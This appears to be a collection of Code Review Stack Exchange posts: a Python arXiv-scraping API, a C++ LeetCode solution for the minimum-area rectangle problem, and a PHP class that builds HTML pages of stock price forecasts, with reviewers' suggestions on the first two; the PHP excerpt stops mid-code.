<p>My name is Ethan and I am trying to build an API for scaping technical papers to use for developers. Right now it only works for ArXiV but I would greatly appreciate some mentoring or a code review of my repo. I am a new developer and want to get my code to professional quality. </p>
<p>Repo: <a href="https://github.com/evader110/ArXivPully" rel="noreferrer">https://github.com/evader110/ArXivPully</a></p>
<p>Source provided as well:</p>
<pre class="lang-py prettyprint-override"><code>from falcon import API
from urllib import request
from bs4 import BeautifulSoup
class ArXivPully:
# Removes rogue newline characters from the title and abstract
def cleanText(self,text):
return ' '.join(text.split('\n'))
def pullFromArXiv(self,search_query, num_results=10):
# Fix Input if it has spaces in it
split_query = search_query.split(' ')
if(len(split_query) > 1):
search_query = '%20'.join(split_query)
url = 'https://export.arxiv.org/api/query?search_query=all:'+search_query+'&start=0&max_results='+str(num_results)
data = request.urlopen(url).read()
output = []
soup = BeautifulSoup(data, 'html.parser')
titles = soup.find_all('title')
# ArXiv populates the first title value as the search query
titles.pop(0)
bodies = soup.find_all('summary')
links = soup.find_all('link', title='pdf')
for i in range(len(titles)):
title = self.cleanText(titles[i].text.strip())
body = self.cleanText(bodies[i].text.strip())
pdf_link = links[i]['href']
output.append([pdf_link, title, body])
return output
def on_get(self, req, resp):
"""Handles GET requests"""
output = []
for item in req.params.items():
output.append(self.pullFromArXiv(item[0],item[1]))
resp.media = output
api = API()
api.add_route('/api/query', ArXivPully())
</code></pre>
<p>Some design explanations. I run this API through Google Cloud Platform using Falcon API because both options are free for me and were the simplest to implement. Some known issues are already posted in the repo but I want to better understand Software Development skills, best practices, etc. I greatly appreciate any tips big or small and I look forward to drastically changing this source code to make it more robust.</p>
| [] | [
{
"body": "<ul>\n<li><p>Python has an official style-guide, <a href=\"https://www.python.org/dev/peps/pep-0008/#id51\" rel=\"nofollow noreferrer\">PEP8</a>. It recommends using <code>lower_case</code> for variables, functions and methods.</p></li>\n<li><p>I would encourage you to use <a href=\"http://docs.python-requests.org/en/master/\" rel=\"nofollow noreferrer\"><code>requests.get</code></a> instead of <code>urllib.request</code>. It can take care of urlencoding the parameters for you.</p></li>\n<li><p>You can make <code>pull_from_arxiv</code> a generator to save a few lines.</p></li>\n<li><p><code>BeautifulSoup</code> can be <a href=\"https://lxml.de/elementsoup.html\" rel=\"nofollow noreferrer\">sped up using the lxml parser</a>.</p></li>\n<li><p><code>on_get</code> can be simplified a bit using a list comprehension.</p></li>\n<li><p>Not sure if your <code>cleanText</code> is really needed. Anyways, I would use <code>str.replace</code> instead of <code>str.split</code> and <code>str.join</code>.</p></li>\n</ul>\n\n\n\n<pre><code>import requests\nfrom bs4 import BeautifulSoup\n\nclass ArXivPully:\n def pull_from_arxiv(self, search_query, num_results=10):\n url = \"https://export.arxiv.org/api/query\"\n params = {\"search_query\": f\"all:{search_query}\",\n \"start\": 0,\n \"max_results\": num_results}\n data = requests.get(url, params=params).text\n soup = BeautifulSoup(data, 'lxml')\n # ArXiv populates the first title value as the search query\n titles = soup.find_all('title')[1:] \n bodies = soup.find_all('summary')\n links = soup.find_all('link', title='pdf')\n\n for title, body, link in zip(titles, bodies, links):\n yield (link['href'],\n title.text.strip().replace(\"\\n\", \" \"),\n body.text.strip().replace(\"\\n\", \" \"))\n\n def on_get(self, req, resp):\n \"\"\"Handles GET requests\"\"\"\n resp.media = [list(self.pull_from_arxiv(*item))\n for item in req.params.items()]\n</code></pre>\n\n<p>Side note: Using this returns completely different results compared to entering the search string on the arxiv website search field. Not sure why. Same is true for your queries, though (the only difference is that <code></code> gets encoded as <code>+</code> and <code>:</code> as <code>%3a</code> by <code>requests.get</code>).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T18:24:02.493",
"Id": "420810",
"Score": "0",
"body": "I forgot about PEP8 I'll get to reading that. So clean text exists only because I want to add more logic for cleaning LaTeX and other formats. It's not needed in its current form but as a placeholder it will act as a point to build off of. Is it better to yield in this instance? Should it be an option for the developers to ask for batches or articles 1 at time?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T21:05:33.150",
"Id": "420824",
"Score": "0",
"body": "@evader110: A generator has the nice feature that it is entirely up to the user of the generator how many objects they get. If they want ten, they can do `itertools.islice(generator_object, 10)`. If they want only one, they can do `next(generator_object)`. If they want all, they can do `for x in generator_object` or `list(generator_object)`. You could even make the method an infinite generator ( well, infinite until the end of the search results...), that requests the result in batches (of 10 or whatever) and yields them one by one to the user."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T22:21:04.643",
"Id": "420965",
"Score": "0",
"body": "Oh snap that makes a lot of sense actually"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T09:46:50.277",
"Id": "217480",
"ParentId": "217461",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T00:00:11.817",
"Id": "217461",
"Score": "7",
"Tags": [
"python",
"web-scraping",
"api",
"git"
],
"Title": "ArXiV Technical Paper API Github Repo"
} | 217461 |
<p>A <a href="https://leetcode.com/problems/minimum-area-rectangle/" rel="nofollow noreferrer">problem on leetcode</a> asks the coder to write an algorithm to take a bunch of coordinates in the xy-plane and return the minimum area of a rectangle made from four of these coordinates (or return <code>0</code> if no four of these coordinates describe a rectangle). Admissible rectangles must have sides parallel to the coordinate axes.</p>
<p>I'd appreciate any comments and improvements on my code whatsoever. Of course some of them may not make sense in the context of Leetcode, and I mention such an example below. But they may still be good for me to be aware of. My code scores well among submissions on Leetcode, so I may have the right idea for the algorithm. I'm posting this code because I think it's decent, and I want to get a reality check if it's actually decent or not -- this is my first post on code review.</p>
<p>Leetcode asks the code to be a class called <code>Solution</code> with a method <code>int minAreaRect(std::vector<std::vector<int>>& points)</code>, and they will test this code using this method. One effect of this is that it does no good (as far as I know) to make a constructor <code>Solution::Solution(std::vector<std::vector<int>> &points)</code>, which would be the most natural. Therefore, for instance, I have to store <code>points</code> in my class as a pointer, not a reference, because I can't know what <code>points</code> is at construction time.</p>
<p>This problem seems to call for something like a <code>multimap</code> from x-coordinates to the set of y-coordinates for which (x,y) is in <code>points</code>. I chose to implement my own "flat multimap" -- since I am doing all my insertion at once, it seems better to just make a sorted vector, and so I just sorted the input vector. (The problem does not address whether I am allowed to modify the input vector -- if I were not allowed to, I would copy it and sort the copy.)</p>
<p>My code examines all possible pairs of distinct x-coordinates, and then looks for the overlap of the y-coordinates associated with them. If the intersection of their y-coordinates has less than two elements, there is no possible rectangle to be made from this pair of x-coordinates. Therefore the code bypasses x-coordinates that have fewer than two y-coordinates associated with them.</p>
<p>An example test case would look like this </p>
<pre><code>int main ()
{
std::vector<std::vector<int>> v {{0,1}, {3,2}, {5, 5}, {4, 5}, {4,4}, {2,0}, {2, 3}, {2, 2}, {1, 0}, {5, 1}, {2, 5}, {5, 2}, {2, 4}, {4, 0}};
Solution sol;
std::cout << sol.minAreaRect(v);
return 0;
}
</code></pre>
<p>Outputs: 2, because (2,4), (2,5), (4,4), and (4,5) describe a rectangle of area two, and that is the best we can do.</p>
<p>My code uses two different comparators -- one which puts coordinates in lexicographic order, and one called <code>comp_coords_fc_only</code> which simply compares the first coordinate. The reason I made the second is so that I could call <code>std::upper_bound(current_coord, points.end(), (*current_coord)[0], comp_coords_fc_only)</code>, which will take me to the next entry of <code>points</code> that has a different x-coordinate. I put this in a method called <code>next_fc</code>.</p>
<pre><code>#include <vector>
#include <algorithm>
#include <iterator>
#include <iostream>
using coord_it = std::vector<std::vector<int>>::iterator;
bool comp_coords_lexic(const std::vector<int> &lhs, const std::vector<int> &rhs) {
if (lhs[0] != rhs[0])
return lhs[0] < rhs[0];
return lhs[1] < rhs[1];
}
bool comp_coords_fc_only(const std::vector<int> &lhs, const std::vector<int> &rhs) {
return (lhs[0] < rhs[0]);
}
class Solution {
//"fc" = "first coordinate" and "sc" = "second coordinate"
public:
int minAreaRect(std::vector<std::vector<int>>& _points) {
if (_points.size() < 4)
return 0;
std::sort(_points.begin(), _points.end(), comp_coords_lexic);
points = &_points;
int record_min_area = INT_MAX;
for (coord_it current_left_fc = _points.begin(); current_left_fc != _points.end(); current_left_fc = next_fc(current_left_fc)) {
if (has_less_than_two(current_left_fc))
continue;
for (coord_it current_right_fc = next_fc(current_left_fc); current_right_fc != _points.end(); current_right_fc = next_fc(current_right_fc)) {
if (has_less_than_two(current_right_fc))
continue;
int distance_fc = (*current_right_fc)[0] - (*current_left_fc)[0];
if (distance_fc > record_min_area)
continue; // need not explore first coords that are so far apart the area would necessarily be too big.
int min_distance_sc = min_distance_shared_scs(current_left_fc, current_right_fc);
if (min_distance_sc == 0)
continue; // if they don't have two scs in common
record_min_area = std::min(record_min_area, distance_fc * min_distance_sc);
} // for loop, right fc
} // for loop, left fc
if (record_min_area == INT_MAX)
return 0;
return record_min_area;
}
private:
int min_distance_shared_scs(coord_it beg_left_fc_range, coord_it beg_right_fc_range) {
// given two first coordinates (in the form of iterators pointing at the first entry
// with that first coordinate) x1 and x2, find min d(y1, y2) subject to (x1,y1), (x1, y2)
// (x2, y1), and (x2, y2) all being in the coordinate vector.
int last_match = INT_MIN; // sentinel value
int record_min_distance = INT_MAX;
auto upper_bound_left = next_fc(beg_left_fc_range), upper_bound_right = next_fc(beg_right_fc_range);
auto current_left_sc = beg_left_fc_range, current_right_sc = beg_right_fc_range;
while (current_left_sc != upper_bound_left && current_right_sc != upper_bound_right) {
if (equal_second_coord(current_left_sc, current_right_sc)) {
if (last_match == INT_MIN) {
last_match = (*current_left_sc)[1];
++current_left_sc; ++current_right_sc;
continue;
}
int distance_from_last = (*current_left_sc)[1] - last_match;
record_min_distance = std::min(record_min_distance, distance_from_last);
last_match = (*current_left_sc)[1];
++current_left_sc; ++current_right_sc;
continue;
}
if ((*current_left_sc)[1] < (*current_right_sc)[1])
++current_left_sc;
else
++current_right_sc;
} // while loop going through two ranges
if (record_min_distance == INT_MAX)
return 0;
return record_min_distance;
}
static bool equal_second_coord(coord_it it1, coord_it it2) {
return ((*it1)[1] == (*it2)[1]);
}
bool has_less_than_two(coord_it input_it) {
auto upper_bound = next_fc(input_it);
return (std::distance(input_it, upper_bound) < 2);
}
coord_it next_fc(coord_it it) {
return std::upper_bound(it, (*points).end(), *it, comp_coords_fc_only);
}
std::vector<std::vector<int>>* points;
};
</code></pre>
| [] | [
{
"body": "<p>We already have a standard algorithm for <code>comp_coords_lexic</code>:</p>\n\n<pre><code>bool comp_coords_lexic(const std::vector<int> &lhs, const std::vector<int> &rhs)\n{\n return std::lexicographical_compare(lhs.begin(), lhs.end(),\n rhs.begin(), rhs.end());\n}\n</code></pre>\n\n<p>Stylewise, I'd probably write <code>x</code> and <code>y</code> rather than <code>fc</code> and <code>sc</code> everywhere. Those are a better match to programmer expectations when we're doing planar geometry.</p>\n\n<p>For the algorithm, perhaps a better representation of the points would be a pair of maps: one from each x-coordinate to a set of y-coordinates and another mapping each y-coordinate to a set of x-coordinates? That makes it much easier to find other points to consider with the current one (and since sets are sorted, we can finish the inner loop when we reach the current outer-loop point).</p>\n\n<p>It may make sense to compute the area when we have three candidate points, and discard it unless the possible area is an improvement on the current smallest, and only then check for the existence of the fourth point (since the search is more expensive than multiplication).</p>\n\n<p>Is there a limit on the range of <code>int</code> values used for coordinates? We might need a wider type for storing the area (in fact, we may well need a wider type simply to represent coordinate differences).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-20T03:39:01.307",
"Id": "421346",
"Score": "0",
"body": "I have a question: If I use X and Y, would I make X the first coordinate and Y the second coordinate? So if I'm looking at the grid, everything is rotated clockwise 90 degrees? (Said another way, down is the positive X direction and right is the positive Y direction?) This is the case in indexing matrices, but we don't usually call the indices X and Y in my field (mathematics)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-23T09:38:26.937",
"Id": "421792",
"Score": "0",
"body": "Good question, and I guess it depends on what you believe is the most common convention amongst your readers (you might call them `row` and `col`, perhaps). I'm just not used to seeing `fc` and `sc` in those roles, so it slowed down my reading somewhat."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T11:49:26.610",
"Id": "217489",
"ParentId": "217465",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "217489",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T01:54:58.743",
"Id": "217465",
"Score": "3",
"Tags": [
"c++",
"programming-challenge",
"computational-geometry"
],
"Title": "Given a list of coordinates, find the rectangle with minimal area"
} | 217465 |
<h3>Goal</h3>
<p>This is very basic beginner script, only for prototyping, probably never to reach alpha/beta prototyping/production, is being designed/tested for performance. Its performance quality might be somewhere around 1-2% now and at least requires another 60-70% for reaching a reasonable version.</p>
<h3>Function</h3>
<p><a href="https://github.com/emarcier/usco#summary" rel="nofollow noreferrer">It</a> scrapes <a href="https://en.wikipedia.org/wiki/Equity_(finance)#Accounting" rel="nofollow noreferrer">equity</a> data from an <a href="https://iextrading.com/developer/docs/" rel="nofollow noreferrer">API</a>, does basic statistical analytics, and returns daily <a href="https://en.wikipedia.org/wiki/Stock_valuation" rel="nofollow noreferrer">price</a> targets for ~8000 equities in NYSE, NASDAQ and CBOE markets in HTML forms.</p>
<h3>Reviewing</h3>
<p>For reviewing, this class extends the main class and generates an HTML string for user interface. You can also view the entire codes in <a href="https://github.com/emarcier/usco/tree/master/master/cron/equity" rel="nofollow noreferrer">this link</a>.</p>
<p>It works okay, however would you be so kind and review it (maybe for performance) and maybe list your changes/to be changed to, if possible?</p>
<h3>HTMLviewEQ class</h3>
<pre><code>date_default_timezone_set("America/New_York");
ini_set('max_execution_time', 0);
ini_set('memory_limit', '-1');
set_time_limit(0);
require_once __DIR__ . "/HTMLviewEQ.php";
class HTMLviewEQ extends EQ implements ConstEQ
{
/**
*
* @return a large HTML string of base article content including meta, abstract and written analysis
*/
public static function getBaseHTML($array, $page_id, $class_obj)
{
/**
*@var is the current datatime
*/
$dt = new \DateTime('now');
$dt = $dt->format('Y-m-d H:i:s');
/**
*@var is the equity symbol: AAPL, AMD
*/
$symb = $array["quote"]["symbol"];
/**
*@var is the full name of public company
*/
$comp = $array["quote"]["companyName"];
/**
*@var is the name of sector: Technology, Healthcare
*/
$sect = $array["quote"]["sector"];
/**
*@var is the name of exchange market: New York Stock Exchange, CBOE, NASDAQ
*/
$mark = $array["quote"]["primaryExchange"];
/**
*@var is the first date in chart array, which is the oldest date
*/
$fd = $array["chart"][0]["date"];
/**
*@var is the last date in chart array, which is the newest date
*/
$ld = array_reverse($array["chart"])[0]["date"];
/**
*@var is the article URL
*/
$url = ConstEQ::PROTOCOL .
ConstEQ::DOMAIN .
ConstEQ::SLASH .
ConstEQ::DIR_URL_KEYWORD_1 .
ConstEQ::SLASH .
ConstEQ::DIR_URL_KEYWORD_2 .
ConstEQ::SLASH . $page_id;
/**
*@var is a short meta for page about
*/
$page_about = $comp . ": Seven price sets are approximated for " . $symb . " lowest supports, " . $symb . " highest resistances and " . $symb . " equilibriums. Each price set is a forecast of daily equity price range of " . $symb . " and has a percentage indicator which shows " . $symb . " upward or downward trends in that session.";
/**
*@var is a short meta for page description
*/
$page_description = $symb . " - " . $comp . ": Average equilibrium share price forecasts are pretty important for " . $symb . " short/long trading and investing, " . $symb . " institutional trading, " . $symb . " portfolio management, " . $symb . " risk assessment, " . $symb . " algorithmic and automated trading, " . $symb . " buy/sell/hold decision makings, " . $symb . " day/swing trading, " . $symb . " put and call option forecasting, " . $symb . " volume estimating, " . $symb . " volatility approximating, " . $symb . " resistance and support evaluating, " . $symb . " stop loss computations, " . $symb . " sentiment analysis and " . $symb . " other quantitative analytics.";
$wrap_symb = '<b class="br-2 b119 r1' . rand(20, 99) . '">' . $symb . '</b>';
/**
*@var is a summary/highlight of article
*/
$article_highlight = $comp . ": Seven price sets are being approximated for " . $wrap_symb . " lowest supports, " . $wrap_symb . " average equilibriums and " . $wrap_symb . " highest resistances. Each set has a \"percentage\", which indicates that if " . $wrap_symb . " has been outperforming or downperforming during that day.";
/**
*@var is an abstract for the article
*/
$article_abstract = $wrap_symb . " - " . $comp . ": Equilibrium price is important for " . $wrap_symb . " institutional trading/investing, " . $wrap_symb . " retail trading/investing and other types of short/long positions. They provide supplementary perspectives to traders for " . $wrap_symb . " day/swing trading, " . $wrap_symb . " low/high frequency trading, " . $wrap_symb . " put/call option forecasting, " . $wrap_symb . " forward/reverse trading/investing and " . $wrap_symb . " algorithmic trading. Average equilibrium price is necessary for " . $wrap_symb . " Buy/Sell/Hold decision makings and " . $wrap_symb . " rating for analyst coverages and equity due diligence. They are also beneficial for " . $wrap_symb . " trading volume forecasting, " . $wrap_symb . " daily volatility approximating, " . $wrap_symb . " resistance and support evaluating, " . $wrap_symb . " stop loss calculations, among other quantitative advantages. Static charts cannot provide such information to trading and investing entities.";
/**
*@var is a legal warning for informing visitors
*/
$article_warning = "⚖ All " . $symb . " information are connected to delayed 60-seconds data pipelines from version 1.0 API at https://api.iextrading.com/1.0/, in addition to other financial and economical data. All computations are automatic, currently independent of all news, sentiments, external parameters and internal corporate factors. This page is only an alpha prototype and is only updated a few times per hour based on our dynamic indices and latest quote scraped from that API. It may not be accessible at all times, and inadvertent or unknown inaccuracies exist. All information are provided under \"AT YOUR OWN FULL RISKS\" and \"NO LIABILITIES, UNDER NO CIRCUMSTANCES\" terms. Trade Safe and Happy Investing!";
/**
*@var is a list of terms used in the articles
*/
$indicators = array(
"Equilibrium" => $wrap_symb . " equilibrium is an average theoretical price, where both buy and sell flows of " . $wrap_symb . " are equal. It is good to be taken into account in near-term trading/investing decision makings.",
"Sessions" => $wrap_symb . " data from " . sizeof($array["chart"]) . " days has been summarized here, each with eight price sets for " . $wrap_symb . ". The first set has the actual " . $wrap_symb . " market prices. The other seven sets are our estimated equilibrium prices for " . $wrap_symb . ". On the left, dynamic lowest supports of " . $wrap_symb . " have been displayed and on the right, you can see the dynamic highest resistances of " . $wrap_symb . ".",
"Volatility" => "\"Low\" to \"extreme\" volatilities have been forced to our algorithms for computing " . $wrap_symb . " supports and resistances from set 1 to set 7, respectively.",
"Percentage" => "The underneath \"percentage\" is an indicator of the difference in between the actual " . $wrap_symb . " and our estimated equilibrium prices for " . $wrap_symb . ".",
"Supports" => "" . $wrap_symb . " dynamic supports have been approximated as a function of time.",
"Resistances" => " " . $wrap_symb . " dynamic resistances have been also approximated as a function of time.",
"Narrow Supports Range" => "If 7 dynamic supports of " . $wrap_symb . " are very close, it might indicate: (a) there may not have been much trading/investing actions on " . $wrap_symb . "; OR (b) " . $wrap_symb . " may have solid block traders/investors; OR (c) " . $wrap_symb . " might have had a low-risk and low-return session; AND (d) other similar analyses can be extracted from.",
"Distant Supports Range" => "If 7 dynamic supports of " . $wrap_symb . " are very scattered, it might indicate: (a) there might have been much sophisticated trading actions on " . $wrap_symb . "; OR (b) " . $wrap_symb . " might have had adept traders in that session; OR (c) " . $wrap_symb . " may have had a high-risk and high-return session; AND (d) other similar analyses can be obtained.",
"Narrow Resistances Range" => "If 7 dynamic resistances of " . $wrap_symb . " are very close, it may suggest outcomes such as: (a) " . $wrap_symb . " holds strong resistances that are challenging for breakouts and may require strong catalysts; OR (b) " . $wrap_symb . " may have had adept reverse traders in that session; OR (c) " . $wrap_symb . " may not have had sufficient upside actions in that session; OR (d) " . $wrap_symb . " might have had a low-risk and low-return or negative session.",
);
/**
*@var is a list of keywords for article
*/
$tags = $symb . " Stock, " . $symb . " Intraday Trading, " . $symb . " Investing, " . $symb . " Option Pricing, " . $symb . " Day Trading, " . $symb . " Swing Trading, " . $symb . " Put and Call Forecast, " . $symb . " Price Target, " . $symb . " Premarket, " . $comp . ", " . $sect . ", " . $mark;
/**
*@var is title 1 for article
*/
$page_title = $symb . " " . $comp . " Trading and Investing Equilibrium Price Analytics: " . money_format('%=4.2n', ST::getMean($array["m"]["p"])) . " | " . $dt;
/**
*@var is title 2 for article
*/
$article_title = $symb . " - " . $comp . " Actual vs. Approximated Equity Prices - " . sizeof($array["chart"]) . " Sessions: " . $fd . " - " . $ld;
/**
*@var is an array of meta parameters for MD files
*/
$meta = array(
"user_id" => null,
"page_id" => $page_id,
"page_title" => $page_title,
"page_about" => $page_about,
"page_description" => $page_description,
"page_tags" => $tags,
"page_publish_date" => $dt,
"page_update_date" => $dt,
"page_image" => ConstEQ::LOGO_LARGE,
"page_template" => "templates/equilibrium-estimation",
"page_robots" => "index,follow",
"article_display" => "1",
"article_title" => $article_title,
"article_publish_date" => $dt,
"article_update_date" => $dt,
"article_author" => "Equity Team",
"article_image" => null,
"article_chart" => null,
"article_tags" => $tags,
);
/**
*@var is the entire HTML for the entire Article
*/
$all_html = '';
/**
*@var is meta content in the beginning of MD file
*/
foreach ($meta as $k => $v) {
$all_html .= $k . ": " . $v . ConstEQ::NEW_LINE;
}
/**
*@var is just some empty lines required after meta in the MD file
*/
$all_html = "---" . ConstEQ::NEW_LINE . $all_html . "---" . ConstEQ::NEW_LINE . ConstEQ::NEW_LINE; // mandatory separator in the md file
/**
*@var is start of HTML
*/
$all_html .= '<section itemscope itemtype="http://schema.org/AnalysisNewsArticle" class="ro mv-3">';
$all_html .= '<div class="img-2 pr-no b1' . rand(20, 99) . '" style="background-image:url(' . ConstEQ::PROTOCOL . ConstEQ::DOMAIN . ConstEQ::SLASH . ConstEQ::LOGO_LARGE . ');padding:19% 0 0 0;"><img itemprop="image" src="' . ConstEQ::PROTOCOL . ConstEQ::DOMAIN . ConstEQ::SLASH . ConstEQ::LOGO_LARGE . '" class="di-0" alt=""/>'; // logo
$all_html .= '<div class="ro p-5 tx-0 pr-no">';
$all_html .= '<h1 itemprop="headline" class="s16 fw-6 r100 b1' . rand(20, 99) . ' p-3 br-5 o9">';
$all_html .= $article_highlight; // article highlight box on the top of the page
$all_html .= '</h1>';
$all_html .= '</div>';
$all_html .= '</div>';
$all_html .= ConstEQ::NEW_LINE; // required spacer for view
$all_html .= '<h2 itemprop="name" class="tx-1 fw-8">';
$all_html .= $article_title; // article title
$all_html .= '</h2>';
$all_html .= ConstEQ::NEW_LINE; // required spacer for view
if ($array["m"]["g"]) {
$all_html .= '<p class="ro p-5 fw-6 tx-1 s16 r113">Near-Term Price Targets Computed on ' . date('l, d F Y \⏱ H:i T', microtime(true)) . '</p>';
$all_html .= ConstEQ::NEW_LINE; // required spacer for view
$all_html .= '<ul class="ro p-5 fw-6 tx-1 s18 r113">';
/**
*@var is a counter from 1 to 7
*/
$c = 0;
foreach ($array["m"]["g"] as $k => $v) {
$c++;
$r = rand(20, 99);
$all_html .= '<li>';
$all_html .= '<b class="di-1 t-21 m-1 br-3 p-2 b119 r1' . $r . '"> ' . $c . '</b>:';
$all_html .= '<b class="di-1 t-21 m-1 br-3 p-2 b119 r1' . $r . '"> ' . $v . '</b>';
$all_html .= '</li>';
}
$all_html .= '</ul>';
$all_html .= ConstEQ::NEW_LINE; // required spacer for view
}
/**
*@method is for getting equilibrium prices HTML
*/
$all_html .= self::getEquilibriumHTML($array);
$all_html .= ConstEQ::NEW_LINE; // required spacer for view
/**
*@method is for getting the latest quote HTML
*/
$all_html .= self::getQuoteHTML($array["quote"]);
$all_html .= ConstEQ::NEW_LINE; // required spacer for view
/**
*@var adds the abstract of article
*/
$all_html .= '<p itemprop="about" class="ro p-5 fw-6 tx-3 s12 r113">';
$all_html .= $article_abstract; // article short summary
$all_html .= '</p>';
$all_html .= ConstEQ::NEW_LINE; // required spacer for view
/**
*@var is for adding indicator description
*/
$all_html .= '<ul itemprop="description" class="ro p-5 fw-6 tx-3 s12 r113">';
foreach ($indicators as $k => $v) {
$r = rand(20, 99);
$all_html .= '<li>';
$all_html .= '<b class="di-1 t-21 m-1 br-3 p-2 b119 r1' . $r . '">' . $k . '</b>';
$all_html .= '<b>: ' . $v . '</b>';
$all_html .= '</li>';
}
$all_html .= '</ul>';
$all_html .= ConstEQ::NEW_LINE; // required spacer for view
$all_html .= '</section>';
$all_html .= ConstEQ::NEW_LINE; // required spacer for view
$all_html .= '<b class="ro tx-1 s35 mv-5">';
$all_html .= EQ::getSectorEmojis(7, $sect, $class_obj->emojis); // 7 random emojis
$all_html .= '</b>';
$all_html .= ConstEQ::NEW_LINE; // required spacer for view
/**
*@var is JSON/LD schema.org for structured data for google
*/
$all_html .= '<script type="application/ld+json">{';
$all_html .= '"@context": "http://schema.org",';
$all_html .= '"@type": "Article",';
$all_html .= '"headline": "' . $article_title . '",';
$all_html .= '"alternativeHeadline": "' . $page_title . '",';
$all_html .= '"dateCreated": "' . ConstEQ::DATE_CREATED . '",';
$all_html .= '"datePublished": "' . ConstEQ::DATE_CREATED . '",';
$all_html .= '"dateModified": "' . $dt . '",';
$all_html .= '"description": "' . $article_abstract . '",';
$all_html .= '"keywords": "' . $tags . '",';
$all_html .= '"publisher": {"@type":"organization","logo":{"type" :"ImageObject","url":"' . ConstEQ::PROTOCOL . ConstEQ::DOMAIN . ConstEQ::SLASH . ConstEQ::LOGO_SMALL . '"},"name":"' . ConstEQ::ORGANIZATION . '"},';
$all_html .= '"author": {"@type":"organization","name":"' . ConstEQ::ARTICLE_TEAM . '"},';
$all_html .= '"mainEntityOfPage": "' . $url . '",';
$all_html .= '"image": ["' . ConstEQ::PROTOCOL . ConstEQ::DOMAIN . ConstEQ::SLASH . ConstEQ::LOGO_LARGE . '"],';
$all_html .= '"url": "' . $url . '"';
$all_html .= '}</script>';
$all_html .= ConstEQ::NEW_LINE; // required spacer for view
/**
*@var is the final entire HTML to embed in the MD file after meta
*/
return $all_html;
}
/**
* [
['Mon', 20, 28, 38, 45],
['Tue', 31, 38, 55, 66],
['Wed', 50, 55, 77, 80],
['Thu', 77, 77, 66, 50],
['Fri', 68, 66, 22, 15]
]
* @return an HTML string for a chart using google chart API
*/
public static function getCandlestickChart($arr)
{
$html = '<div id="chart_div" class="ro"></div>';
$html .= '<script type="text/javascript" src="https://www.gstatic.com/charts/loader.js"></script>';
$html .= '<script type="text/javascript">';
$html .= "google.charts.load('current', {'packages':['corechart']});";
$html .= "google.charts.setOnLoadCallback(drawChart);";
$html .= "function drawChart() {
var data = google.visualization.arrayToDataTable(" . $arr . ", true);
var options = {
title:'Candlestick Chart: Low Support, VWAP, Equilibrium, High Resistance',
legend:'none',
selectionMode:'multiple',
agregationTarget:'category',
height:data.getNumberOfRows()*25,
orientation:'vertical',
theme:{
axisTitlePosition:'in',
hAxis:{titlePosition:'in'},
},
tooltip:{
trigger:'selection',
textStyle:{
color:'#3A5FCD',
showColorCode:true,
fontSize:12,
bold:true,
isHTML:true
}
},
chartArea: {
left:'1%',
top:50,
right:0,
bottom:75,
backgroundColor:'#333',
},
hAxis:{
title:'Equity Prices',
titleTextStyle:{
color:'#63B8FF',
fontSize:20,
bold:true
},
textStyle:{
color:'#014B96',
fontSize:15,
bold:true
},
format:'currency'
},
vAxis:{
textStyle:{
color:'#8968CD',
fontSize:10,
bold:true
},
minorGridlines:{
color:'#EEEE00',
count:10,
}
},
candlestick:{
risingColor:{stroke:'#EEEE00',fill:'#32CD32'},
fallingColor:{stroke:'#858585',fill:'#FF4500'}
},
colors:['#4169E1']
};
var chart = new google.visualization.CandlestickChart(document.getElementById('chart_div'));
chart.draw(data, options);
}
</script>";
return $html;
}
/**
*
* @return a large HTML string of past 20 sessions equilibrium estimations with 7 volatilities
*/
public static function getMobileEquilibrium($arr)
{
$html = ''; // child html
$eq_htmls = ''; // parent html
if (is_array(array_column($arr, "m")[0])) {
$ps = array_column($arr, "m")[0];
} else {
$ps = array();
}
foreach ($ps as $k => $p) {
for ($i = (sizeof($p) / 4) - 1; $i >= 0; $i--) {
$r = rand(0, 9);
if ($i === (sizeof($p) / 4) - 1) {
$html .= '<div class="ro di-2 a120 a220 a320 a420 a520 a620 a720 sq-1 br-5 mv-5 b11' . $r . ' r100 sq-1">';
$html .= '<div class="ro tx-1 s16">' . $arr["c"]["c"][$k]["s"] . '</div>'; // session date
$html .= '<div class="ro a120 a220 a320 a420 a520 a620 a720">';
$html .= '<b id="a-0" class="s18 a118 a218 a318 a418 a518 a618 a718 r18' . $r . ' mv-2 tx-0 di-1"> Actual Low</b>';
$html .= '<b id="a-1" class="s18 a118 a218 a318 a418 a518 a618 a718 r10' . $r . ' mv-2 tx-1 di-1"> Actual VWAP</b>';
$html .= '<b id="a-2" class="s18 a118 a218 a318 a418 a518 a618 a718 r14' . $r . ' mv-2 tx-2 di-1"> Actual High</b>';
$html .= '</div>';
$html .= '<div class="ro a120 a220 a320 a420 a520 a620 a720">';
$html .= '<b id="b-0' . $i . '" class="s18 a118 a218 a318 a418 a518 a618 a718 r18' . $r . ' mv-2 tx-0 di-1">' . $arr["c"]["c"][$k]["l"] . '</b>';
$html .= '<b id="b-1' . $i . '" class="s18 a118 a218 a318 a418 a518 a618 a718 r10' . $r . ' mv-2 tx-1 di-1">' . $arr["c"]["c"][$k]["w"] . '</b>';
$html .= '<b id="b-2' . $i . '" class="s18 a118 a218 a318 a418 a518 a618 a718 r14' . $r . ' mv-2 tx-2 di-1">' . $arr["c"]["c"][$k]["h"] . '</b>';
$html .= '</div>';
$html .= '<div class="ro a120 a220 a320 a420 a520 a620 a720">';
$html .= '<b id="e-0" class="s15 a118 a218 a318 a418 a518 a618 a718 r18' . $r . ' mv-2 tx-0 di-1"> Approximated Supports</b>';
$html .= '<b id="e-1" class="s15 a118 a218 a318 a418 a518 a618 a718 r10' . $r . ' mv-2 tx-1 di-1"> Estimated Equilibriums </b>';
